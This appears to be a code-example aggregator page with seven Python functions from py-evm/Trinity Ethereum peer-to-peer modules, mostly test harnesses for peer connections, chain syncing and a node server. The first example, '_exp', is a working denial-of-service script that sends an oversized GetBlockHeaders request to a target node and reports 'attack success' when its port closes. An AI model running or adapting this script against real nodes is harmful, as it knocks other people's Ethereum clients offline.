示例#1
0
def _exp(node_url, chain) -> None:

    from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER, ROPSTEN_VM_CONFIGURATION
    from evm.db.backends.memory import MemoryDB
    from tests.p2p.integration_test_helpers import FakeAsyncHeaderDB, connect_to_peers_loop

    ip, port = node_url.split('@')[1].split(':')
    if port_probe(ip, port):
        print('The port is open, starting to attack...')
    peer_class = LESPeer
    peer_pool = None
    if chain == 'mainnet':
        block_hash = '0xd4e56740f876aef8c010b86a40d5f56745a118d0906a34e69aec8c0db1cb8fa3'
        headerdb = FakeAsyncHeaderDB(MemoryDB())
        headerdb.persist_header(MAINNET_GENESIS_HEADER)
        network_id = MainnetChain.network_id
        nodes = [Node.from_uri(node_url)]
        peer_pool = PeerPool(peer_class, headerdb, network_id,
                             ecies.generate_privkey(),
                             MAINNET_VM_CONFIGURATION)
    elif chain == 'testnet':
        block_hash = '0x41941023680923e0fe4d74a34bdac8141f2540e3ae90623718e47d66d1ca4a2d'
        headerdb = FakeAsyncHeaderDB(MemoryDB())
        headerdb.persist_header(ROPSTEN_GENESIS_HEADER)
        network_id = RopstenChain.network_id
        nodes = [Node.from_uri(node_url)]
        peer_pool = PeerPool(peer_class, headerdb, network_id,
                             ecies.generate_privkey(),
                             ROPSTEN_VM_CONFIGURATION)
    loop = asyncio.get_event_loop()

    async def attack() -> None:
        nonlocal peer_pool
        nonlocal block_hash
        while not peer_pool.peers:
            print("Waiting for peer connection...")
            await asyncio.sleep(1)
        peer = cast(LESPeer, peer_pool.peers[0])
        cmd = GetBlockHeaders(peer.sub_proto.cmd_id_offset)
        data = {
            'request_id':
            1,
            'query':
            GetBlockHeadersQuery(decode_hex(block_hash), 1, 0xffffffffffffffff,
                                 False),
        }
        header, body = cmd.encode(data)
        peer.sub_proto.send(header, body)
        await asyncio.sleep(1)
        result = port_probe(ip, port)
        if not result:
            print('The port is closed,attack success ...')
            exit()

    t1 = asyncio.ensure_future(connect_to_peers_loop(peer_pool, nodes))
    t2 = asyncio.ensure_future(attack())
    loop.set_debug(True)
    loop.run_until_complete(asyncio.wait([t1, t2]))
    loop.close()
示例#2
0
def _test() -> None:
    import argparse
    import signal
    from p2p import ecies
    from p2p.kademlia import Node
    from p2p.peer import DEFAULT_PREFERRED_NODES
    from eth.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER, ROPSTEN_VM_CONFIGURATION
    from eth.db.backends.level import LevelDB
    from tests.p2p.integration_test_helpers import (
        FakeAsyncChainDB, FakeAsyncRopstenChain, FakeAsyncHeaderDB, connect_to_peers_loop)

    parser = argparse.ArgumentParser()
    parser.add_argument('-db', type=str, required=True)
    parser.add_argument('-fast', action="store_true")
    parser.add_argument('-light', action="store_true")
    parser.add_argument('-enode', type=str, required=False, help="The enode we should connect to")
    parser.add_argument('-debug', action="store_true")
    args = parser.parse_args()

    logging.basicConfig(
        level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s', datefmt='%H:%M:%S')
    log_level = logging.INFO
    if args.debug:
        log_level = logging.DEBUG

    loop = asyncio.get_event_loop()

    base_db = LevelDB(args.db)
    chaindb = FakeAsyncChainDB(base_db)
    chaindb.persist_header(ROPSTEN_GENESIS_HEADER)
    headerdb = FakeAsyncHeaderDB(base_db)

    peer_class: Type[HeaderRequestingPeer] = ETHPeer
    if args.light:
        peer_class = LESPeer
    network_id = RopstenChain.network_id
    privkey = ecies.generate_privkey()
    peer_pool = PeerPool(peer_class, headerdb, network_id, privkey, ROPSTEN_VM_CONFIGURATION)
    if args.enode:
        nodes = tuple([Node.from_uri(args.enode)])
    else:
        nodes = DEFAULT_PREFERRED_NODES[network_id]

    asyncio.ensure_future(peer_pool.run())
    asyncio.ensure_future(connect_to_peers_loop(peer_pool, nodes))
    chain = FakeAsyncRopstenChain(base_db)
    syncer: BaseHeaderChainSyncer = None
    if args.fast:
        syncer = FastChainSyncer(chain, chaindb, peer_pool)
    elif args.light:
        syncer = LightChainSyncer(chain, headerdb, peer_pool)
    else:
        syncer = RegularChainSyncer(chain, chaindb, peer_pool)
    syncer.logger.setLevel(log_level)
    syncer.min_peers_to_sync = 1

    sigint_received = asyncio.Event()
    for sig in [signal.SIGINT, signal.SIGTERM]:
        loop.add_signal_handler(sig, sigint_received.set)

    async def exit_on_sigint() -> None:
        await sigint_received.wait()
        await peer_pool.cancel()
        await syncer.cancel()
        loop.stop()

    async def run() -> None:
        await syncer.run()
        syncer.logger.info("run() finished, exiting")
        sigint_received.set()

    # loop.set_debug(True)
    asyncio.ensure_future(exit_on_sigint())
    asyncio.ensure_future(run())
    loop.run_forever()
    loop.close()
示例#3
0
文件: peer.py 项目: SabaunT/py-evm
def _test() -> None:
    """
    Create a Peer instance connected to a local geth instance and log messages exchanged with it.

    Use the following command line to run geth:

        ./build/bin/geth -vmodule p2p=4,p2p/discv5=0,eth/*=0 \
          -nodekeyhex 45a915e4d060149eb4365960e6a7a45f334393093061116b197e3240065ff2d8 \
          -testnet -lightserv 90
    """
    import argparse
    import signal
    from eth.utils.logging import TRACE_LEVEL_NUM
    from eth.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER, ROPSTEN_VM_CONFIGURATION
    from eth.db.backends.memory import MemoryDB
    from tests.p2p.integration_test_helpers import FakeAsyncHeaderDB, connect_to_peers_loop
    logging.basicConfig(level=TRACE_LEVEL_NUM,
                        format='%(asctime)s %(levelname)s: %(message)s')

    parser = argparse.ArgumentParser()
    parser.add_argument('-enode',
                        type=str,
                        help="The enode we should connect to")
    parser.add_argument('-light',
                        action='store_true',
                        help="Connect as a light node")
    args = parser.parse_args()

    peer_class: Type[BasePeer] = ETHPeer
    if args.light:
        peer_class = LESPeer
    headerdb = FakeAsyncHeaderDB(MemoryDB())
    headerdb.persist_header(ROPSTEN_GENESIS_HEADER)
    network_id = RopstenChain.network_id
    loop = asyncio.get_event_loop()
    nodes = [Node.from_uri(args.enode)]
    peer_pool = PeerPool(peer_class, headerdb, network_id,
                         ecies.generate_privkey(), ROPSTEN_VM_CONFIGURATION)
    asyncio.ensure_future(connect_to_peers_loop(peer_pool, nodes))

    async def request_stuff() -> None:
        # Request some stuff from ropsten's block 2440319
        # (https://ropsten.etherscan.io/block/2440319), just as a basic test.
        nonlocal peer_pool
        while not peer_pool.connected_nodes:
            peer_pool.logger.info("Waiting for peer connection...")
            await asyncio.sleep(0.2)
        peer = peer_pool.highest_td_peer
        block_hash = decode_hex(
            '0x59af08ab31822c992bb3dad92ddb68d820aa4c69e9560f07081fa53f1009b152'
        )
        if peer_class == ETHPeer:
            peer = cast(ETHPeer, peer)
            peer.sub_proto.send_get_block_headers(block_hash, 1)
            peer.sub_proto.send_get_block_bodies([block_hash])
            peer.sub_proto.send_get_receipts([block_hash])
        else:
            peer = cast(LESPeer, peer)
            request_id = 1
            peer.sub_proto.send_get_block_headers(block_hash, 1, request_id)
            peer.sub_proto.send_get_block_bodies([block_hash], request_id + 1)
            peer.sub_proto.send_get_receipts(block_hash, request_id + 2)

    sigint_received = asyncio.Event()
    for sig in [signal.SIGINT, signal.SIGTERM]:
        loop.add_signal_handler(sig, sigint_received.set)

    async def exit_on_sigint() -> None:
        await sigint_received.wait()
        await peer_pool.cancel()
        loop.stop()

    asyncio.ensure_future(exit_on_sigint())
    asyncio.ensure_future(request_stuff())
    asyncio.ensure_future(peer_pool.run())
    loop.set_debug(True)
    loop.run_forever()
    loop.close()
示例#4
0
def _test() -> None:
    import argparse
    from pathlib import Path
    import signal

    from evm.db.backends.level import LevelDB
    from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER

    from p2p import ecies
    from p2p.constants import ROPSTEN_BOOTNODES
    from p2p.peer import ETHPeer

    from trinity.utils.chains import load_nodekey

    from tests.p2p.integration_test_helpers import FakeAsyncHeaderDB
    from tests.p2p.integration_test_helpers import FakeAsyncChainDB, FakeAsyncRopstenChain

    parser = argparse.ArgumentParser()
    parser.add_argument('-db', type=str, required=True)
    parser.add_argument('-debug', action="store_true")
    parser.add_argument('-bootnodes', type=str, default=[])
    parser.add_argument('-nodekey', type=str)

    args = parser.parse_args()

    logging.basicConfig(level=logging.INFO,
                        format='%(asctime)s %(levelname)s: %(message)s',
                        datefmt='%H:%M:%S')
    log_level = logging.INFO
    if args.debug:
        log_level = logging.DEBUG
    logging.getLogger('p2p.server.Server').setLevel(log_level)

    loop = asyncio.get_event_loop()
    db = LevelDB(args.db)
    headerdb = FakeAsyncHeaderDB(db)
    chaindb = FakeAsyncChainDB(db)
    chaindb.persist_header(ROPSTEN_GENESIS_HEADER)
    chain = FakeAsyncRopstenChain(db)

    # NOTE: Since we may create a different priv/pub key pair every time we run this, remote nodes
    # may try to establish a connection using the pubkey from one of our previous runs, which will
    # result in lots of DecryptionErrors in receive_handshake().
    if args.nodekey:
        privkey = load_nodekey(Path(args.nodekey))
    else:
        privkey = ecies.generate_privkey()

    port = 30303
    if args.bootnodes:
        bootstrap_nodes = args.bootnodes.split(',')
    else:
        bootstrap_nodes = ROPSTEN_BOOTNODES
    bootstrap_nodes = [Node.from_uri(enode) for enode in bootstrap_nodes]

    server = Server(
        privkey,
        port,
        chain,
        chaindb,
        headerdb,
        db,
        RopstenChain.network_id,
        peer_class=ETHPeer,
        bootstrap_nodes=bootstrap_nodes,
    )

    sigint_received = asyncio.Event()
    for sig in [signal.SIGINT, signal.SIGTERM]:
        loop.add_signal_handler(sig, sigint_received.set)

    async def exit_on_sigint():
        await sigint_received.wait()
        await server.cancel()
        loop.stop()

    loop.set_debug(True)
    asyncio.ensure_future(exit_on_sigint())
    asyncio.ensure_future(server.run())
    loop.run_forever()
    loop.close()
示例#5
0
文件: chain.py 项目: tutty427/py-evm
def _test() -> None:
    import argparse
    import signal
    from p2p import ecies
    from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER
    from evm.db.backends.level import LevelDB
    from tests.p2p.integration_test_helpers import (
        FakeAsyncChainDB, FakeAsyncRopstenChain, LocalGethPeerPool, FakeAsyncHeaderDB)

    parser = argparse.ArgumentParser()
    parser.add_argument('-db', type=str, required=True)
    parser.add_argument('-fast', action="store_true")
    parser.add_argument('-local-geth', action="store_true")
    parser.add_argument('-debug', action="store_true")
    args = parser.parse_args()

    logging.basicConfig(
        level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s', datefmt='%H:%M:%S')
    log_level = logging.INFO
    if args.debug:
        log_level = logging.DEBUG
    logging.getLogger('p2p.chain.ChainSyncer').setLevel(log_level)

    loop = asyncio.get_event_loop()

    base_db = LevelDB(args.db)
    chaindb = FakeAsyncChainDB(base_db)
    chaindb.persist_header(ROPSTEN_GENESIS_HEADER)
    headerdb = FakeAsyncHeaderDB(base_db)

    privkey = ecies.generate_privkey()
    if args.local_geth:
        peer_pool = LocalGethPeerPool(ETHPeer, headerdb, RopstenChain.network_id, privkey)
    else:
        from p2p.peer import HardCodedNodesPeerPool
        discovery = None
        peer_pool = HardCodedNodesPeerPool(
            peer_class=ETHPeer,
            headerdb=headerdb,
            network_id=RopstenChain.network_id,
            privkey=privkey,
            discovery=discovery,
        )

    asyncio.ensure_future(peer_pool.run())
    if args.fast:
        syncer = FastChainSyncer(chaindb, peer_pool)
    else:
        chain = FakeAsyncRopstenChain(base_db)
        syncer = RegularChainSyncer(chain, chaindb, peer_pool)
    syncer.min_peers_to_sync = 1

    sigint_received = asyncio.Event()
    for sig in [signal.SIGINT, signal.SIGTERM]:
        loop.add_signal_handler(sig, sigint_received.set)

    async def exit_on_sigint():
        await sigint_received.wait()
        await peer_pool.cancel()
        await syncer.cancel()
        loop.stop()

    loop.set_debug(True)
    asyncio.ensure_future(exit_on_sigint())
    asyncio.ensure_future(syncer.run())
    loop.run_forever()
    loop.close()
示例#6
0
def _test() -> None:
    import argparse
    from pathlib import Path
    import signal
    from p2p import ecies
    from p2p.kademlia import Node
    from p2p.peer import DEFAULT_PREFERRED_NODES
    from eth.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER, ROPSTEN_VM_CONFIGURATION
    from eth.chains.mainnet import MainnetChain, MAINNET_GENESIS_HEADER, MAINNET_VM_CONFIGURATION
    from eth.db.backends.level import LevelDB
    from tests.p2p.integration_test_helpers import (FakeAsyncChainDB,
                                                    FakeAsyncMainnetChain,
                                                    FakeAsyncRopstenChain,
                                                    FakeAsyncHeaderDB,
                                                    connect_to_peers_loop)
    from trinity.protocol.eth.peer import ETHPeer  # noqa: F811
    from trinity.protocol.les.peer import LESPeer  # noqa: F811
    from trinity.utils.chains import load_nodekey

    parser = argparse.ArgumentParser()
    parser.add_argument('-db', type=str, required=True)
    parser.add_argument('-fast', action="store_true")
    parser.add_argument('-light', action="store_true")
    parser.add_argument('-nodekey', type=str)
    parser.add_argument('-enode',
                        type=str,
                        required=False,
                        help="The enode we should connect to")
    parser.add_argument('-debug', action="store_true")
    args = parser.parse_args()

    logging.basicConfig(level=logging.INFO,
                        format='%(asctime)s %(levelname)s: %(message)s',
                        datefmt='%H:%M:%S')
    log_level = logging.INFO
    if args.debug:
        log_level = logging.DEBUG

    loop = asyncio.get_event_loop()

    base_db = LevelDB(args.db)
    headerdb = FakeAsyncHeaderDB(base_db)
    chaindb = FakeAsyncChainDB(base_db)
    try:
        genesis = chaindb.get_canonical_block_header_by_number(0)
    except HeaderNotFound:
        genesis = ROPSTEN_GENESIS_HEADER
        chaindb.persist_header(genesis)

    peer_class: Type[Union[ETHPeer, LESPeer]] = ETHPeer
    if args.light:
        peer_class = LESPeer

    if genesis.hash == ROPSTEN_GENESIS_HEADER.hash:
        network_id = RopstenChain.network_id
        vm_config = ROPSTEN_VM_CONFIGURATION  # type: ignore
        chain_class = FakeAsyncRopstenChain
    elif genesis.hash == MAINNET_GENESIS_HEADER.hash:
        network_id = MainnetChain.network_id
        vm_config = MAINNET_VM_CONFIGURATION  # type: ignore
        chain_class = FakeAsyncMainnetChain
    else:
        raise RuntimeError("Unknown genesis: %s", genesis)
    if args.nodekey:
        privkey = load_nodekey(Path(args.nodekey))
    else:
        privkey = ecies.generate_privkey()
    peer_pool = PeerPool(peer_class, headerdb, network_id, privkey, vm_config)
    if args.enode:
        nodes = tuple([Node.from_uri(args.enode)])
    else:
        nodes = DEFAULT_PREFERRED_NODES[network_id]

    asyncio.ensure_future(peer_pool.run())
    asyncio.ensure_future(connect_to_peers_loop(peer_pool, nodes))
    chain = chain_class(base_db)
    syncer: BaseHeaderChainSyncer = None
    if args.fast:
        syncer = FastChainSyncer(chain, chaindb, peer_pool)
    elif args.light:
        syncer = LightChainSyncer(chain, headerdb, peer_pool)
    else:
        syncer = RegularChainSyncer(chain, chaindb, peer_pool)
    syncer.logger.setLevel(log_level)
    syncer.min_peers_to_sync = 1

    sigint_received = asyncio.Event()
    for sig in [signal.SIGINT, signal.SIGTERM]:
        loop.add_signal_handler(sig, sigint_received.set)

    async def exit_on_sigint() -> None:
        await sigint_received.wait()
        await peer_pool.cancel()
        await syncer.cancel()
        loop.stop()

    async def run() -> None:
        await syncer.run()
        syncer.logger.info("run() finished, exiting")
        sigint_received.set()

    # loop.set_debug(True)
    asyncio.ensure_future(exit_on_sigint())
    asyncio.ensure_future(run())
    loop.run_forever()
    loop.close()
示例#7
0
def _test():
    """
    Create a Peer instance connected to a local geth instance and log messages exchanged with it.

    Use the following command line to run geth:

        ./build/bin/geth -vmodule p2p=4,p2p/discv5=0,eth/*=0 \
          -nodekeyhex 45a915e4d060149eb4365960e6a7a45f334393093061116b197e3240065ff2d8 \
          -testnet -lightserv 90
    """
    import argparse
    import signal
    from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER
    from evm.db.backends.memory import MemoryDB
    from tests.p2p.integration_test_helpers import FakeAsyncHeaderDB
    logging.basicConfig(level=logging.DEBUG,
                        format='%(asctime)s %(levelname)s: %(message)s')

    # The default remoteid can be used if you pass nodekeyhex as above to geth.
    nodekey = keys.PrivateKey(
        decode_hex(
            "45a915e4d060149eb4365960e6a7a45f334393093061116b197e3240065ff2d8")
    )
    remoteid = nodekey.public_key.to_hex()
    parser = argparse.ArgumentParser()
    parser.add_argument('-remoteid', type=str, default=remoteid)
    parser.add_argument('-light',
                        action='store_true',
                        help="Connect as a light node")
    args = parser.parse_args()

    peer_class = ETHPeer  # type: ignore
    if args.light:
        peer_class = LESPeer  # type: ignore
    remote = Node(keys.PublicKey(decode_hex(args.remoteid)),
                  Address('127.0.0.1', 30303, 30303))
    headerdb = FakeAsyncHeaderDB(MemoryDB())
    headerdb.persist_header(ROPSTEN_GENESIS_HEADER)
    network_id = RopstenChain.network_id
    loop = asyncio.get_event_loop()
    peer = loop.run_until_complete(
        handshake(remote, ecies.generate_privkey(), peer_class, headerdb,
                  network_id, CancelToken("Peer test")))

    async def request_stuff():
        # Request some stuff from ropsten's block 2440319
        # (https://ropsten.etherscan.io/block/2440319), just as a basic test.
        nonlocal peer
        block_hash = decode_hex(
            '0x59af08ab31822c992bb3dad92ddb68d820aa4c69e9560f07081fa53f1009b152'
        )
        if peer_class == ETHPeer:
            peer = cast(ETHPeer, peer)
            peer.sub_proto.send_get_block_headers(block_hash, 1)
            peer.sub_proto.send_get_block_bodies([block_hash])
            peer.sub_proto.send_get_receipts([block_hash])
        else:
            peer = cast(LESPeer, peer)
            request_id = 1
            peer.sub_proto.send_get_block_headers(block_hash, 1, request_id)
            peer.sub_proto.send_get_block_bodies([block_hash], request_id + 1)
            peer.sub_proto.send_get_receipts(block_hash, request_id + 2)

    sigint_received = asyncio.Event()
    for sig in [signal.SIGINT, signal.SIGTERM]:
        loop.add_signal_handler(sig, sigint_received.set)

    async def exit_on_sigint():
        await sigint_received.wait()
        await peer.cancel()
        loop.stop()

    asyncio.ensure_future(exit_on_sigint())
    asyncio.ensure_future(request_stuff())
    asyncio.ensure_future(peer.run())
    loop.run_forever()
    loop.close()